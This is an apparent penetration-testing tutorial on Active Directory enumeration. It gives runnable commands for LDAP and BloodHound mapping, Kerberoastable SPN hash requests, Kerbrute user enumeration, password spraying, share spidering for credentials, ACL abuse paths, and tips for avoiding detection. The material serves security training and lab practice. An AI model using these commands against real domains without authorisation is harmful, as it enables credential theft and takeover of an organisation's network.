Active Directory

Active Directory Enumeration

Mapping the domain before you own it — users, groups, ACLs, and trust relationships

20 min readUpdated 2026-04-18
#active-directory#bloodhound#ldap#kerberos#enumeration#ad
TL;DR
  • Active Directory (AD) is found in most enterprise environments — compromising it means owning the organisation
  • Domain enumeration requires only a valid domain user account — low privilege is enough to start
  • BloodHound maps the entire domain attack graph and shows the shortest path to Domain Admin
  • Service Principal Names (SPNs) are the entry point for Kerberoasting
  • ACL misconfigurations (WriteDACL, GenericAll, GenericWrite) are the hidden privilege escalation paths most pentesters miss

Prerequisites

  • Valid domain credentials (even a low-privilege account)
  • Network access to the Domain Controller (TCP 389 LDAP, TCP 445 SMB, TCP 88 Kerberos)
  • Completed: How Authentication Works (Kerberos section), Reconnaissance

Lab: HackTheBox machines — Forest, Active, Resolute, Return. TryHackMe "Active Directory Basics" room. Set up your own lab with Windows Server 2019 evaluation + Windows 10 eval (both free from Microsoft).


What is Active Directory?

Active Directory is Microsoft's directory service — a centralised database of every object in a Windows enterprise: users, computers, groups, printers, policies, and more.

Key components:

ComponentDescription
DomainThe boundary of administration (corp.local)
ForestOne or more domains with trust relationships
Domain Controller (DC)Server running AD — holds the database (NTDS.dit)
LDAPProtocol for querying the AD database (port 389/636)
KerberosAuthentication protocol (port 88)
SMBFile sharing, used for Group Policy delivery (port 445)
DNSAD-integrated DNS — every object has a DNS record
NTDS.ditThe database file containing all user hashes
NOTE

Every Domain Controller stores a copy of NTDS.dit. This single file contains the NTLM hashes for every user in the domain. Extracting it — via DCSync or VSS shadow copy — is the endgame of most AD engagements.


First Steps — Situational Awareness

The moment you have a domain user account, start enumeration immediately.

powershell
# On a Windows host joined to the domain
whoami /all                          # Your user + groups + privileges
net user /domain                     # All domain users
net group /domain                    # All domain groups
net group "Domain Admins" /domain    # Members of Domain Admins
nltest /domain_trusts                # Trust relationships
bash
# From Linux with valid creds (crackmapexec)
crackmapexec smb 192.168.1.0/24 -u 'user' -p 'password'   # Find DCs and live hosts
crackmapexec smb DC_IP -u 'user' -p 'password' --users     # Enumerate users
crackmapexec smb DC_IP -u 'user' -p 'password' --groups    # Enumerate groups
crackmapexec smb DC_IP -u 'user' -p 'password' --shares    # List shares
step 1Get domain credsPhishing, recon, default passwords
step 2Enumerate users/groupscrackmapexecnet, ldap, cme
step 3Run BloodHoundSharpHoundIngest and analyse
step 4Find attack pathDA shortest path
step 5Exploit misconfigKerberoast, ACL abuse

LDAP Queries — Direct Database Access

LDAP is the query language for Active Directory. You can enumerate everything with it.

bash
# ldapsearch from Linux
ldapsearch -x -H ldap://DC_IP -D "user@corp.local" -w "password" \
  -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName mail

# Get all users
ldapsearch -x -H ldap://DC_IP -D "user@corp.local" -w "password" \
  -b "DC=corp,DC=local" "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" \
  sAMAccountName description

# Find accounts with no pre-auth required (AS-REP Roasting targets)
ldapsearch -x -H ldap://DC_IP -D "user@corp.local" -w "password" \
  -b "DC=corp,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" sAMAccountName
powershell
# PowerShell — Active Directory module
Import-Module ActiveDirectory

Get-ADUser -Filter * -Properties *                         # All users with all properties
Get-ADUser -Filter * | Select Name,SamAccountName,Enabled # Formatted list
Get-ADGroupMember "Domain Admins" -Recursive               # Nested group members
Get-ADComputer -Filter * -Properties OperatingSystem       # All computers + OS

BloodHound — The Attack Path Engine

BloodHound ingests AD data and builds a graph showing every permission relationship. It then computes the shortest path to Domain Admin from any starting node.

BloodHound Setup Workflow

  1. 1
    Start BloodHound + Neo4j

    sudo neo4j console > then open BloodHound app

  2. 2
    Run SharpHound collector

    SharpHound.exe -c All --zipfilename output.zip

  3. 3
    Or run from Linux

    bloodhound-python -u user -p pass -d corp.local -c All -dc DC_IP

  4. 4
    Upload the ZIP to BloodHound

    Drag and drop into the interface

  5. 5
    Run pre-built queries

    'Shortest Path to Domain Admins' — always start here

  6. 6
    Mark your owned nodes

    Right-click > Mark as Owned on your current account

Key BloodHound Queries

QueryWhat it finds
Shortest Path to Domain AdminsThe attack chain you need
Find all Domain Admin sessionsWhere DA tokens are cached
Find principals with DCSync rightsWho can dump all hashes
Find AS-REP roastable usersKerberoasting targets (no pre-auth)
Find Kerberoastable usersAccounts with SPNs
Find computers where DA is logged inWhere to hunt for DA tokens
bash
# SharpHound from Linux (no AD module needed)
pip3 install bloodhound
bloodhound-python -u 'user' -p 'password' -d corp.local -c All --dc DC_IP

# Collect only specific data types to be faster/quieter
bloodhound-python -u 'user' -p 'password' -d corp.local -c Session,ACL --dc DC_IP

SPN Enumeration — Finding Kerberoastable Accounts

Service Principal Names (SPNs) identify services. Any domain user can request a Kerberos service ticket for any SPN — the ticket is encrypted with the service account's password hash.

powershell
# Find all accounts with SPNs (Kerberoasting targets)
setspn -T corp.local -Q */*

# Or with AD module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
bash
# From Linux
impacket-GetUserSPNs corp.local/user:password -dc-ip DC_IP
impacket-GetUserSPNs corp.local/user:password -dc-ip DC_IP -request   # Get hashes too
High-Value SPN Targets

Look for SPNs on accounts with names like svc_sql, sqlservice, svc_backup, iis_svc. Service accounts often have weak passwords that were set years ago and never changed. They also frequently have elevated privileges.


User Enumeration — Beyond net user

bash
# Enumerate with enum4linux-ng (SMB-based)
enum4linux-ng -A DC_IP

# Kerbrute — fast username enumeration via Kerberos pre-auth errors
kerbrute userenum --dc DC_IP -d corp.local usernames.txt

# CrackMapExec — password spraying with lockout avoidance
crackmapexec smb DC_IP -u users.txt -p 'Password123!' --continue-on-success

# Check password policy before spraying
crackmapexec smb DC_IP -u 'user' -p 'password' --pass-pol
Account Lockout — Check Before Spraying

Always check the domain password policy before spraying. A 3-attempt lockout with a 30-minute window means you can spray once every 30 minutes. Spraying too fast = locking out every account in the domain = immediate detection + incident.


ACL Enumeration — The Hidden Attack Paths

Active Directory uses Access Control Lists (ACLs) to control who can do what to which objects. Misconfigurations here are the most commonly overlooked privilege escalation paths.

Dangerous ACL Permissions

PermissionObject typeWhat an attacker can do
GenericAllUserReset password, add to groups, modify ACLs
GenericWriteUserWrite to most attributes, including scriptPath
WriteDACLAnyModify the object's ACL > grant yourself GenericAll
WriteOwnerAnyBecome object owner > then WriteDACL
ForceChangePasswordUserChange password without knowing current
GenericAllGroupAdd yourself or any user to the group
GenericAllComputerConfigure RBCD (Resource-Based Constrained Delegation)
OwnsAnyOwner can modify ACL
powershell
# Find interesting ACLs (BloodHound does this automatically)
# Manual PowerView approach:
Import-Module PowerView.ps1

# Find all objects where a specified user has interesting rights
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -eq "john"}

# Check ACLs on a specific object
Get-ObjectAcl -SamAccountName "targetuser" -ResolveGUIDs |
  Where-Object {$_.ActiveDirectoryRights -match "GenericAll|WriteDACL|GenericWrite"}

Share Enumeration — Where Data Lives

Network shares are often misconfigured with excessive read access.

bash
# Find all accessible shares
crackmapexec smb 192.168.1.0/24 -u 'user' -p 'password' --shares

# Spider shares for sensitive files
crackmapexec smb DC_IP -u 'user' -p 'password' -M spider_plus

# Smbclient — manual exploration
smbclient //DC_IP/SYSVOL -U 'corp.local\user%password'
smbclient //DC_IP/NETLOGON -U 'corp.local\user%password'

# Find files with interesting names recursively
smbmap -H DC_IP -u user -p password -R SHARE --dir-only
SYSVOL — Always Check This

SYSVOL is readable by all domain users and stores Group Policy files. Pre-2014, Group Policy Preferences (GPP) stored credentials encrypted with a key Microsoft published. gpp-decrypt decrypts them instantly. Also look for scripts in SYSVOL that reference credentials.


Group Policy Enumeration

Group Policy controls every Windows setting across the domain.

powershell
# List all GPOs
Get-GPO -All | Select DisplayName, GpoStatus

# Find GPOs linked to specific OUs
Get-GPInheritance -Target "OU=Workstations,DC=corp,DC=local"

# Download and parse GPOs
Import-Module PowerView.ps1
Get-DomainGPO | Select displayname, gpcfilesyspath
bash
# From Linux
crackmapexec smb DC_IP -u 'user' -p 'password' --gpo

Trust Relationships — Cross-Domain Attack Paths

Forests can have trust relationships. Exploiting trust relationships allows lateral movement across domains.

powershell
# Enumerate trusts
Get-ADTrust -Filter *
nltest /domain_trusts /all_trusts

# Check if SID filtering is enabled (disabling it = SID history abuse)
nltest /domain_trusts /all_trusts
Trust TypeDirectionWhat it means
Parent-childBidirectionalAutomatic within a forest
ExternalOne or two wayDomain-to-domain across forests
ForestOne or two wayFull forest trust

Operational Notes

  • Always start with BloodHound — it gives you the full picture in 5 minutes. Manual enumeration fills in the gaps BloodHound misses.
  • Low-and-slow — BloodHound's SharpHound with -c All generates a lot of LDAP traffic. Use -c DCOnly or -c Session,ACL during stealthy engagements.
  • LDAP signing — Windows Server 2022+ enforces LDAP signing by default, breaking unsigned LDAP queries. Use authenticated, signed queries.
  • Nested groups — always resolve groups recursively. A user in "IT Support" > "IT Admins" > "Domain Admins" won't show up in a flat group listing.
  • Description fields — people leave passwords in the Description field of user accounts. Filter for non-empty descriptions in your LDAP query.

  • Active Directory Exploitation — take the attack paths BloodHound identified and execute them
  • Password Attacks — Kerberoasting and AS-REP Roasting attacks live here
  • Post-Exploitation — once you have Domain Admin, what do you do with it?